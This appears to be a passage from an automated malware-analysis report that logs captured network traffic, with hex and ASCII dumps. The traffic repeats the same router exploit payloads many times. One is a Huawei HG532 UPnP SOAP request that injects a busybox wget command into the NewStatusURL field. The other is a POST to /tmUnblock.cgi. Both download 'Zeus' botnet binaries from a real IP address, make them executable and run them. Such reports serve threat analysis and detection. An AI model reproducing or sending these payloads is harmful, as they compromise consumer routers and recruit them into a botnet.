6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
